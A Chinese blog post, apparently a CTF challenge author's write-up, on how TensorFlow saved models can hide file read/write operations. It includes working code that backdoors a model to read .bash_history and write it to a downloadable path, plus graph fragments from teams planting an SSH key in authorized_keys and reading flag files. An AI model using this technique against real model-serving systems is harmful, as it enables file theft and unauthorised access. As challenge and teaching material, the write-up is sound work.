cdxy.me
Cyber Security / Data Science / Trading

TFBoys a.k.a. TensorFlow Boys :P

TensorFlow 加载模型时的安全风险

Tensorflow用数据流图(dataflow graph)来表示计算模型,结点(node)表示计算操作(operation)。

常规的operation多用来表达计算(加减乘除),此外还有两种特殊的operation:read_file()write_file() ,他们可以在模型运行时操纵文件的读写,导致安全风险。攻击者可以将训练好的模型中插入这种"后门",使用者加载TF模型时将触发文件读写,导致信息被窃取或系统被控制。

png

这篇文章公开了这种利用方式,并给出详细分析:

命题过程

依据上述思路。本题实现了一个公开的TensorFlow服务,允许用户上传并运行自己的TF模型,并将flag藏于服务器中。

解题关键点:

  1. 需要熟悉TensorFlow模型开发流程,能够构造出后门模型。
  2. 需要通过文件读写操作找到flag。

第一点可以完全通过TF文档从0开始学习,第二点相信对XCTF Final的web选手不在话下。总体来讲是想要设计一个通过学习"一定"能够解决的题,希望选手通过此题熟悉TF,收获从0到1的快感。

首先使用 公开的HTTP流量样本 训练了一个char-level LSTM文本分类模型,并导出为TensorFlow saved_model格式,模型结构如下:

model = Sequential()
model.add(Embedding(num_words, 32, input_length=max_log_length))
model.add(Dropout(0.5))
model.add(LSTM(64, recurrent_dropout=0.5))
model.add(Dropout(0.5))
model.add(Dense(1, activation='sigmoid'))
model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])

接着部署WEB服务,提供TF模型上传、下载、测试功能。默认情况下,WEB服务将加载上文已经训练好的模型。

  • 题目代码: https://github.com/Xyntax/XCTF-2019-tfboys

png

解题过程

  • 下载题目中的default模型,植入后门,再上传,然后前台提交文本测试,触发文件读写操作。

加载已有模型

import tensorflow as tf
import numpy as np

origin_model = './'
sess = tf.Session(graph=tf.Graph())

# 加载
meta_graph_def = tf.saved_model.loader.load(sess, [tf.saved_model.SERVING], origin_model)

# 查看模型结构
signature = meta_graph_def.signature_def
print(signature)

signature:

{'serving_default': inputs {
  key: "input"
  value {
    name: "embedding_1_input:0"
    dtype: DT_FLOAT
    tensor_shape {
      dim {
        size: -1
      }
      dim {
        size: 512
      }
    }
  }
}
outputs {
  key: "output"
  value {
    name: "dense_1/Sigmoid:0"
    dtype: DT_FLOAT
    tensor_shape {
      dim {
        size: -1
      }
      dim {
        size: 1
      }
    }
  }
}
method_name: "tensorflow/serving/predict"
}

在构建"后门模型"时,可以考虑在原有模型输出节点上加一个"ghost operation",这样在不影响模型predict结果的情况下,悄无声息地完成文件读写的目的。

with tf.Session(graph=tf.Graph()) as sess:

    # 原有模型加载
    meta_graph_def = tf.saved_model.loader.load(sess, [tf.saved_model.SERVING], origin_model)
    signature = meta_graph_def.signature_def

    x = sess.graph.get_tensor_by_name('embedding_1_input:0') # comes from model signature above
    y = sess.graph.get_tensor_by_name('dense_1/Sigmoid:0')


    # 构建后门,读取.bash_history内容,写入/home/ubuntu/web3/model/upload/saved_model.pb。
    reader = tf.read_file('/home/ubuntu/.bash_history') # information gathering
    path = tf.constant("/home/ubuntu/web3/model/upload/saved_model.pb") # file path comes from website
    # 让后门节点return一个常数0,加到y,这样不改变原有predict效果。
    with tf.control_dependencies([tf.write_file(path,reader)]):
        b = tf.constant(0.0,name='write')

    y_exp = tf.add(y,b)

    # 导出被植入后门的模型
    export_path = 'evil_model2'
    builder = tf.saved_model.builder.SavedModelBuilder(export_path)

    # 让input/output的key与之前signature定义的key保持一致。
    signature_inputs = {
        'input': tf.saved_model.utils.build_tensor_info(x)
    }

    signature_outputs = {
        'output': tf.saved_model.utils.build_tensor_info(y_exp) # assign y_exp as output node
    } 

    classification_signature_def = tf.saved_model.signature_def_utils.build_signature_def(
        inputs=signature_inputs,
        outputs=signature_outputs,
        method_name=tf.saved_model.signature_constants.CLASSIFY_METHOD_NAME)

    builder.add_meta_graph_and_variables(
        sess,
        [tf.saved_model.tag_constants.SERVING],
        signature_def_map={
            'serving_default': classification_signature_def
        }#,
        #legacy_init_op=tf.group(tf.tables_initializer())
    )

    builder.save()

打包模型,上传到web服务:

cd evil_model && zip -r evil_model.zip saved_model.pb variables/

此处如果服务端加载模型失败,会提示TF版本并给出报错信息,便于选手排查模型结构错误。

模型通过校验后,在WEB前台输入任意字符串,触发predict流程,导致/home/ubuntu/.bash_history内容被read_file()读取,并通过write_file()写到/home/ubuntu/web3/model/upload/saved_model.pb中。

此时在前台下载当前模型,将/home/ubuntu/web3/model/upload/目录打包下载到本地,完成信息泄露。

.bash_history中可以看到flag地址,然后再次构建一个模型下载flag即可。

source anaconda3/bin/activate
jupyter-notebook --ip 0.0.0.0 --port 18888
ls
python -V
pip install tensorflow
pip install keras
ipython
apt-get install git
sudo apt-get install git
curl myip.ipip.net
nc -lvp 9999 > web3.zip
ls
unzip web3.zip
ls
cp -r model/ web3/
cp -r build/ web3/
cd web3/
ls
vi flag_3deaef310
python run.py

这里模型结构的定义、文件读写的利用方式操作空间较大,可通过多种方式拿到flag。

解题情况

  • 开题4小时后,Nu1L 通过WriteFile写入/.ssh/authorized_keys完成一血。
^RWriteFile/filename^R^EConst*2
^Evalue^R)B'^H^G^R^@B!/home/ubuntu/.ssh/authorized_keys*^K
^Edtype^R^B0^G*^V
^N_output_shapes^R^D
^B:^@
£^A
^RWriteFile/contents^R^EConst*^K
^Edtype^R^B0^G*^V
^N_output_shapes^R^D
^B:^@*a
^Evalue^RXBV^H^G^R^@BPssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaA1CQXDJEUKyhg0qD9LuIosOYunZMujyMQoAAdOpuK
  • 开题8小时后,Venom 完成了PoC,读了一系列文件之后找到flag位置,用web静态文件/static/js/bootstrap.min.js作为回显拿到flag。
QReadFile/filename^R^EConst*1
^Evalue^R(B&^H^G^R^@B /home/ubuntu/web3/flag_3deaef310*^K
^Edtype^R^B0^G*^V
^N_output_shapes^R^D
  • 同期 天枢Dubhe 也已完成PoC,尚未找到flag。比赛首日仅两队成功解题。

png

  • 次日,Bushwhackers 加入找flag行列,在读了一遍/proc/和源码后无果,想要直接读取/var/lib/mlocate/mlocate.db一把梭。
^QReadFile/filename^R^EConst*,
^Evalue^R#B!^H^G^R^@B^[/var/lib/mlocate/mlocate.db*^K
^Edtype^R^B0^G
'
^HReadFile^R^HReadFile^Z^QReadFile/filename
h
^RWriteFile/filename^R^EConst*>
^Evalue^R5B3^H^G^R^@B-/home/ubuntu/web3/model/upload/variables/keks*^K
^Edtype^R^B0^G

这个文件是locate指令对系统内文件路径的索引,可以直接从这个14M的文件里搜到包含flag字符串的路径。然而普通用户并没有读文件权限。最终仍是通过写ssh拿到flag。

png

  • 最终在20支队伍中有7队成功解题。